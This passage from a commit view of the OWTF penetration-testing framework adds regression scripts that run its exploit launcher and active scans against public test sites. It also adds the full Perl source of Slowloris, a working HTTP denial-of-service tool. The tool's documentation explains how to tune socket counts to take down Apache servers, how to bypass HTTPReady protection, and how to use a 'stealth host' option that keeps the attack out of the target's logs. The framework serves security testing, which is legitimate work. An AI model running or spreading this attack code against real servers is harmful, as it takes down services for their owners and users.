+$OWTF_DIR/owtf.py -f -o Exploit_Launcher # Run as defined in config file
+#$OWTF_DIR/owtf.py -f -o Exploit_Launcher RHOST=127.0.0.1 RPORT=3306 CATEGORY=LINUX,OSX,WINDOWS SUBCATEGORY=MYSQL
+#$OWTF_DIR/owtf.py -f -o Exploit_Launcher RHOST=127.0.0.1 RPORT=1521 CATEGORY=LINUX,OSX,WINDOWS SUBCATEGORY=ORACLE
+
+# Run as defined in config file
+#$OWTF_DIR/owtf.py -f -o Exploit_Launcher RHOST=127.0.0.1 RPORT=80 CATEGORY=WINDOWS SUBCATEGORY=HTTP,IIS # Run as defined in config file
41 tests/regression/owtf_url_test.sh
View
@@ -0,0 +1,41 @@
+#!/usr/bin/env bash
+#
+# owtf is an OWASP+PTES-focused try to unite great tools and facilitate pen testing
+# Copyright (c) 2011, Abraham Aranguren <name.surname@gmail.com> Twitter: @7a_ http://7-a.org
+# All rights reserved.
+#
+# Redistribution and use in source and binary forms, with or without
+# modification, are permitted provided that the following conditions are met:
+# * Redistributions of source code must retain the above copyright
+# notice, this list of conditions and the following disclaimer.
+# * Redistributions in binary form must reproduce the above copyright
+# notice, this list of conditions and the following disclaimer in the
+# documentation and/or other materials provided with the distribution.
+# * Neither the name of the copyright owner nor the
+# names of its contributors may be used to endorse or promote products
+# derived from this software without specific prior written permission.
+#
+# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY
+# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
+# ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+#
+
+TEST_URLS=$(echo "$(dirname $0)/test_urls.txt")
+
+if [ $# -ne 1 ]; then
+ echo "Please specify OWTF directory to test!"
+ echo "Syntax $0 <OWTF release directory>"
+ exit
+fi
+OWTF_DIR=$1
+
+$OWTF_DIR/owtf.py -t passive $TEST_URLS
+$OWTF_DIR/owtf.py -t semi_passive $TEST_URLS
+$OWTF_DIR/owtf.py -t active $TEST_URLS
3  tests/regression/test_urls.txt
View
@@ -0,0 +1,3 @@
+http://demo.testfire.net/
+http://testasp.acunetix.com/
+http://hackademic1.teilar.gr/
463 tools/dos/web/slowloris.pl
View
@@ -0,0 +1,463 @@
+#!/usr/bin/perl -w
+use strict;
+use IO::Socket::INET;
+use IO::Socket::SSL;
+use Getopt::Long;
+use Config;
+
+$SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors
+
+print <<EOTEXT;
+CCCCCCCCCCOOCCOOOOO888\@8\@8888OOOOCCOOO888888888\@\@\@\@\@\@\@\@\@8\@8\@\@\@\@888OOCooocccc::::
+CCCCCCCCCCCCCCCOO888\@888888OOOCCCOOOO888888888888\@88888\@\@\@\@\@\@\@888\@8OOCCoococc:::
+CCCCCCCCCCCCCCOO88\@\@888888OOOOOOOOOO8888888O88888888O8O8OOO8888\@88\@\@8OOCOOOCoc::
+CCCCooooooCCCO88\@\@8\@88\@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888\@8888OOOCc::::
+CooCoCoooCCCO8\@88\@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:
+ooooooCoCCC88\@88888\@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88\@888OCoccc
+ooooCCOO8O888888888\@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo
+oCCCCCCO8OOOCCCOO88\@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC
+oCCCCCOOO88OCooCO88\@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC
+oCCCCOO88OOCCCCOO8\@\@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO
+CCCOOOO88OOCCOOO8\@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O
+CCCOO88888OOCOO8\@\@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO
+OOOOOO88888OOOO8\@8\@8Ooc:.:...cOO8O88c. . .coOOO888OOOOCoooooccoCOOOOOCOOOO
+OOOOO888\@8\@88888888Oo:. . ...cO888Oc.. :oOOOOOOOOOCCoocooCoCoCOOOOOOOO
+COOO888\@88888888888Oo:. .O8888C: .oCOo. ...cCCCOOOoooooocccooooooooCCCOO
+CCCCOO888888O888888Oo. .o8Oo. .cO88Oo: :. .:..ccoCCCooCooccooccccoooooCCCC
+coooCCO8\@88OO8O888Oo:::... .. :cO8Oc. . ..... :. .:ccCoooooccoooocccccooooCCC
+:ccooooCO888OOOO8OOc..:...::. .co8\@8Coc::.. .... ..:cooCooooccccc::::ccooCCooC
+.:::coocccoO8OOOOOOC:..::....coCO8\@8OOCCOc:... ....:ccoooocccc:::::::::cooooooC
+....::::ccccoCCOOOOOCc......:oCO8\@8\@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo
+.......::::::::cCCCCCCoocc:cO888\@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc
+...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co
+.............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo
+ ..... ............. .coocoooCCoco:::ccccccc:::ccc::.......... ....:::cc::::coC
+ . . ... .... .. .:cccoCooc:.. ::cccc:::c:.. ......... ......::::c:cccco
+ . .. ... .. .. .. ..:...:cooc::cccccc:..... ......... .....:::::ccoocc
+ . . .. ..::cccc:.::ccoocc:. ........... .. . ..:::.:::::::ccco
+ Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
+EOTEXT
+
+my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
+my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
+my $result = GetOptions(
+ 'shost=s' => \$shost,
+ 'dns=s' => \$host,
+ 'httpready' => \$httpready,
+ 'num=i' => \$connections,
+ 'cache' => \$cache,
+ 'port=i' => \$port,
+ 'https' => \$ssl,
+ 'tcpto=i' => \$tcpto,
+ 'test' => \$test,
+ 'timeout=i' => \$timeout,
+ 'version' => \$version,
+);
+
+if ($version) {
+ print "Version 0.7\n";
+ exit;
+}
+
+unless ($host) {
+ print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n";
+ print "\n\tType 'perldoc $0' for help with options.\n\n";
+ exit;
+}
+
+unless ($port) {
+ $port = 80;
+ print "Defaulting to port 80.\n";
+}
+
+unless ($tcpto) {
+ $tcpto = 5;
+ print "Defaulting to a 5 second tcp connection timeout.\n";
+}
+
+unless ($test) {
+ unless ($timeout) {
+ $timeout = 100;
+ print "Defaulting to a 100 second re-try timeout.\n";
+ }
+ unless ($connections) {
+ $connections = 1000;
+ print "Defaulting to 1000 connections.\n";
+ }
+}
+
+my $usemultithreading = 0;
+if ( $Config{usethreads} ) {
+ print "Multithreading enabled.\n";
+ $usemultithreading = 1;
+ use threads;
+ use threads::shared;
+}
+else {
+ print "No multithreading capabilites found!\n";
+ print "Slowloris will be slower than normal as a result.\n";
+}
+
+my $packetcount : shared = 0;
+my $failed : shared = 0;
+my $connectioncount : shared = 0;
+
+srand() if ($cache);
+
+if ($shost) {
+ $sendhost = $shost;
+}
+else {
+ $sendhost = $host;
+}
+if ($httpready) {
+ $method = "POST";
+}
+else {
+ $method = "GET";
+}
+
+if ($test) {
+ my @times = ( "2", "30", "90", "240", "500" );
+ my $totaltime = 0;
+ foreach (@times) {
+ $totaltime = $totaltime + $_;
+ }
+ $totaltime = $totaltime / 60;
+ print "This test could take up to $totaltime minutes.\n";
+
+ my $delay = 0;
+ my $working = 0;
+ my $sock;
+
+ if ($ssl) {
+ if (
+ $sock = new IO::Socket::SSL(
+ PeerAddr => "$host",
+ PeerPort => "$port",
+ Timeout => "$tcpto",
+ Proto => "tcp",
+ )
+ )
+ {
+ $working = 1;
+ }
+ }
+ else {
+ if (
+ $sock = new IO::Socket::INET(
+ PeerAddr => "$host",
+ PeerPort => "$port",
+ Timeout => "$tcpto",
+ Proto => "tcp",
+ )
+ )
+ {
+ $working = 1;
+ }
+ }
+ if ($working) {
+ if ($cache) {
+ $rand = "?" . int( rand(99999999999999) );
+ }
+ else {
+ $rand = "";
+ }
+ my $primarypayload =
+ "GET /$rand HTTP/1.1\r\n"
+ . "Host: $sendhost\r\n"
+ . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
+ . "Content-Length: 42\r\n";
+ if ( print $sock $primarypayload ) {
+ print "Connection successful, now comes the waiting game...\n";
+ }
+ else {
+ print
+"That's odd - I connected but couldn't send the data to $host:$port.\n";
+ print "Is something wrong?\nDying.\n";
+ exit;
+ }
+ }
+ else {
+ print "Uhm... I can't connect to $host:$port.\n";
+ print "Is something wrong?\nDying.\n";
+ exit;
+ }
+ for ( my $i = 0 ; $i <= $#times ; $i++ ) {
+ print "Trying a $times[$i] second delay: \n";
+ sleep( $times[$i] );
+ if ( print $sock "X-a: b\r\n" ) {
+ print "\tWorked.\n";
+ $delay = $times[$i];
+ }
+ else {
+ if ( $SIG{__WARN__} ) {
+ $delay = $times[ $i - 1 ];
+ last;
+ }
+ print "\tFailed after $times[$i] seconds.\n";
+ }
+ }
+
+ if ( print $sock "Connection: Close\r\n\r\n" ) {
+ print "Okay that's enough time. Slowloris closed the socket.\n";
+ print "Use $delay seconds for -timeout.\n";
+ exit;
+ }
+ else {
+ print "Remote server closed socket.\n";
+ print "Use $delay seconds for -timeout.\n";
+ exit;
+ }
+ if ( $delay < 166 ) {
+ print <<EOSUCKS2BU;
+Since the timeout ended up being so small ($delay seconds) and it generally
+takes between 200-500 threads for most servers and assuming any latency at
+all... you might have trouble using Slowloris against this target. You can
+tweak the -timeout flag down to less than 10 seconds but it still may not
+build the sockets in time.
+EOSUCKS2BU
+ }
+}
+else {
+ print
+"Connecting to $host:$port every $timeout seconds with $connections sockets:\n";
+
+ if ($usemultithreading) {
+ domultithreading($connections);
+ }
+ else {
+ doconnections( $connections, $usemultithreading );
+ }
+}
+
+sub doconnections {
+ my ( $num, $usemultithreading ) = @_;
+ my ( @first, @sock, @working );
+ my $failedconnections = 0;
+ $working[$_] = 0 foreach ( 1 .. $num ); #initializing
+ $first[$_] = 0 foreach ( 1 .. $num ); #initializing
+ while (1) {
+ $failedconnections = 0;
+ print "\t\tBuilding sockets.\n";
+ foreach my $z ( 1 .. $num ) {
+ if ( $working[$z] == 0 ) {
+ if ($ssl) {
+ if (
+ $sock[$z] = new IO::Socket::SSL(
+ PeerAddr => "$host",
+ PeerPort => "$port",
+ Timeout => "$tcpto",
+ Proto => "tcp",
+ )
+ )
+ {
+ $working[$z] = 1;
+ }
+ else {
+ $working[$z] = 0;
+ }
+ }
+ else {
+ if (
+ $sock[$z] = new IO::Socket::INET(
+ PeerAddr => "$host",
+ PeerPort => "$port",
+ Timeout => "$tcpto",
+ Proto => "tcp",
+ )
+ )
+ {
+ $working[$z] = 1;
+ $packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK
+ }
+ else {
+ $working[$z] = 0;
+ }
+ }
+ if ( $working[$z] == 1 ) {
+ if ($cache) {
+ $rand = "?" . int( rand(99999999999999) );
+ }
+ else {
+ $rand = "";
+ }
+ my $primarypayload =
+ "$method /$rand HTTP/1.1\r\n"
+ . "Host: $sendhost\r\n"
+ . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
+ . "Content-Length: 42\r\n";
+ my $handle = $sock[$z];
+ if ($handle) {
+ print $handle "$primarypayload";
+ if ( $SIG{__WARN__} ) {
+ $working[$z] = 0;
+ close $handle;
+ $failed++;
+ $failedconnections++;
+ }
+ else {
+ $packetcount++;
+ $working[$z] = 1;
+ }
+ }
+ else {
+ $working[$z] = 0;
+ $failed++;
+ $failedconnections++;
+ }
+ }
+ else {
+ $working[$z] = 0;
+ $failed++;
+ $failedconnections++;
+ }
+ }
+ }
+ print "\t\tSending data.\n";
+ foreach my $z ( 1 .. $num ) {
+ if ( $working[$z] == 1 ) {
+ if ( $sock[$z] ) {
+ my $handle = $sock[$z];
+ if ( print $handle "X-a: b\r\n" ) {
+ $working[$z] = 1;
+ $packetcount++;
+ }
+ else {
+ $working[$z] = 0;
+ #debugging info
+ $failed++;
+ $failedconnections++;
+ }
+ }
+ else {
+ $working[$z] = 0;
+ #debugging info
+ $failed++;
+ $failedconnections++;
+ }
+ }
+ }
+ print
+"Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n";
+ sleep($timeout);
+ }
+}
+
+sub domultithreading {
+ my ($num) = @_;
+ my @thrs;
+ my $i = 0;
+ my $connectionsperthread = 50;
+ while ( $i < $num ) {
+ $thrs[$i] =
+ threads->create( \&doconnections, $connectionsperthread, 1 );
+ $i += $connectionsperthread;
+ }
+ my @threadslist = threads->list();
+ while ( $#threadslist > 0 ) {
+ $failed = 0;
+ }
+}
+
+__END__
+
+=head1 TITLE
+
+Slowloris
+
+=head1 VERSION
+
+Version 0.7 Beta
+
+=head1 DATE
+
+06/17/2009
+
+=head1 AUTHOR
+
+RSnake <h@ckers.org> with threading from John Kinsella
+
+=head1 ABSTRACT
+
+Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service. It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively. It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons.
+
+=head1 AFFECTS
+
+Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...?
+
+=head1 NOT AFFECTED
+
+IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...?
+
+=head1 DESCRIPTION
+
+Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it's threads as they patiently wait for more data. Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate for that by customizing the timeouts. There is an added function to help you get started with finding the right sized timeouts as well.
+
+As a side note, Slowloris does not consume a lot of resources so modern operating systems don't have a need to start shutting down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circumstances. Think of Slowloris as the HTTP equivalent of a SYN flood.
+
+=head2 Testing
+
+If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing:
+
+=head3 Testing Example:
+
+./slowloris.pl -dns www.example.com -port 80 -test
+
+This won't give you a perfect number, but it should give you a pretty good guess as to where to shoot for. If you really must know the exact number, you may want to mess with the @times array (although I wouldn't suggest that unless you know what you're doing).
+
+=head2 HTTP DoS
+
+Once you find a timeout window, you can tune Slowloris to use certain timeout windows. For instance, if you know that the server has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and increase the TCP timeout to 5 seconds. The following example uses 500 sockets. Most average Apache servers, for instance, tend to fall down between 400-600 sockets with a default configuration. Some are less than 300. The smaller the timeout the faster you will consume all the available resources as other sockets that are in use become available - this would be solved by threading, but that's for a future revision. The closer you can get to the exact number of sockets, the better, because that will reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful. Slowloris has no way to identify if it's successful or not though.
+
+=head3 HTTP DoS Example:
+
+./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5
+
+=head2 HTTPReady Bypass
+
+HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET or HEAD request with the -httpready switch.
+
+=head3 HTTPReady Bypass Example
+
+./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready
+
+=head2 Stealth Host DoS
+
+If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host using the -shost variable. This way the logs that are created will go to a different virtual host log file, but only if they are kept separately.
+
+=head3 Stealth Host DoS Example:
+
+./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com
+
+=head2 HTTPS DoS
+
+Slowloris does support SSL/TLS on an experimental basis with the -https switch. The usefulness of this particular option has not been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the early phases of development. Your mileage may vary.
+
+=head3 HTTPS DoS Example:
+
+./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https
+
+=head2 HTTP Cache
+
+Slowloris does support cache avoidance on an experimental basis with the -cache switch. Some caching servers may look at the request path part of the header, but by sending different requests each time you can abuse more resources. The usefulness of this particular option has not been thoroughly tested. Your mileage may vary.
+
+=head3 HTTP Cache Example:
+
+./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache
+
+=head1 Issues
+
+Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it's current incarnation. They may be ways around this, but not in this version at this time. Most likely most anti-DDoS and load balancers won't be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested.
+
+Slowloris isn't completely quiet either, because it can't be. Firstly, it does send out quite a few packets (although far far less than a typical GET request flooder). So it's not invisible if the traffic to the site is typically fairly low. On higher traffic sites it will unlikely that it is noticed in the log files - although you may have trouble taking down a larger site with just one machine, depending on their architecture.
+
+For some reason Slowloris works way better if run from a *Nix box than from Windows. I would guess that it's probably to do with the fact that Windows limits the amount of open sockets you can have at once to a fairly small number. If you find that you can't open any more ports than ~130 or so on any server you test - you're probably running into this "feature" of modern operating systems. Either way, this program seems to work best if run from FreeBSD.
+
+Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or proxy server will write to it's logs with a lot of 400 (Bad Request) errors. So while the sockets remain open, you won't be in the logs, but once the sockets close you'll have quite a few entries all lined up next to one another. You will probably be easy to find if anyone is looking at their logs at that point - although the DoS will be over by that point too.
+
+=head1 What is a slow loris?
+
+What exactly is a slow loris? It's an extremely cute but endangered mammal that happens to also be poisonous. Check this out:
+
+http://www.youtube.com/watch?v=rLdQ3UhLoD4
Please sign in to comment.
Something went wrong with that request. Please try again.